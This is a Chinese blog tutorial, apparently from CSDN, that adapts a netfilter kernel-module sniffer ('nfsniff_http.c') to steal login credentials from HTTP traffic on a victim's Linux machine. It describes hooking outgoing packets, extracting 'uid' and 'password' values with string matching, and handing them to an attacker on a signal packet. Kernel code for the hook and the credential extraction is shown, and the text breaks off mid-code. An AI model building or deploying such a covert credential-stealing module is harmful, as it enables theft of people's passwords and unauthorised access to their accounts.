Netfilter编程实现HTTP协议传输账号密码的抓取

本文介绍了如何通过LKM编程结合iptables和netfilter,抓取HTTP协议中传输的账号密码。首先,文章概述了HTTP协议的安全隐患,并展示了在不同Linux内核版本和操作系统位数下的代码调整。接着,详细讲述了利用字符串匹配从HTTP请求报文中提取账号密码的步骤,以及在实际操作中如何加载模块和执行攻击者与受害者的交互过程。
摘要由CSDN通过智能技术生成

本文简介

HTTP协议用于在Web浏览器和网站服务器之间传递信息,以明文方式发送内容,没有任何方式的数据加密,因此只要截获报文就可以很轻松的获取某些关键的信息,比如登录时的用户名和密码。最近学习到LKM编程以及iptables和netfilters编程,本文参考详细原理点击此处里面的nfsniff.c(ftp用户名密码的窃取代码),修改之后的nfsniff_http.c实现了对HTTP协议传输的账号密码的抓取。

大致步骤

假设此时有两台电脑,攻击者和受害者
1.将nfsniff_http.c编译到受害者内核,勾出向外发出的报文,一旦发现有账号密码则记录到内存
2.攻击者运行getpass,向受害者发送暗号
3.受害者接收到暗号报文,将记录的账号密码发送给攻击者

linux内核版本以及操作系统位数问题

参考代码nfsniff.c基于内核版本:2.x,32位系统
修改代码nfsniff_http.c基于Ubuntu 16.04,内核版本:4.10.0,64位系统
两份代码不同之处:
1.钩子函数定义改变

//2.x
unsigned int hook_func(unsigned int hooknum,
                                 struct sk_buff **skb,
                                 const struct net_device *in,
                                 const struct net_device *out,
                                 int (*okfn)(struct sk_buff *)){}
//4.10.0
static unsigned int watch_in(void *priv, struct sk_buff *skb, const struct nf_hook_state *state){}

2.系统位数导致强制类型转换错误

//nfsniff.c
//此处tcp为指针类型,32位系统中大小为4个字节,因此可以强转为同样是4个字节的int类型
data = (char *)((int)tcp + (int)(tcp->doff * 4));
//nfsniff_http.c
//64位系统中指针类型8个字节,因此强转为int会出错,可以转成同样为8字节的long型
data = (char *)((unsigned long)tcp + (unsigned long)(tcp->doff * 4));

利用字符串匹配从http请求报文中抠出账号密码

这里仅抓取用户名和密码,若要匹配的话必须知道登录界面中提交的表单里面是如何定义这两个参数的,当然可以用wireshark抓包分析得到参数名称,这里我们也可以在不抓包的情况下从页面源码获得,首先从界面右键查看页面源码,发现参数定义如下图:
这里写图片描述
这里写图片描述
这样我们就可以用查看到的uid和password进行匹配得到我们想要的账号密码信息了,下面看字符串匹配的代码

//Connection是http的一个首部字段名
if (strstr(data,"Connection") != NULL && strstr(data, "uid") != NULL && strstr(data, "password") != NULL) { 

    /*cookie字段Connection之前,里面存放了以前输入过的信息,其中可能包括以前输入的账号密码,为了不让cookie字段影响我们的匹配,将账号密码的匹配工作从Connection以后开始,因为本次表单提交的数据在数据包所处的位置都在Connection字段之后*/
        check_connection = strstr(data,"Connection");
        /*代码里的这种printk是用来调试的时候用的,dmesg命令时可以发现代码进入了哪些地方或者在哪里出了问题*/
        printk("3333333333333333333333333333333333333333333333333333333333333333");

        //用前面查找到的uid匹配出用户名
        name = strstr(check_connection,"uid=");
        _and = strstr(name,"&");
        name += 4;
        len = _and - name;
        //申请内存,存入uid
        if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
          return;
        memset(username, 0x00, len + 2);
        for (i = 0; i < len; ++i)
        {
          *(username + i) = name[i];
        }
        *(username + len) = '\0';

    //用前面查找到的password匹配出密码
        passwd = strstr(name,"password=");
        _and = strstr(passwd,"&");
        passwd += 9;
        len = _and - passwd;
        if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 7
    评论
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值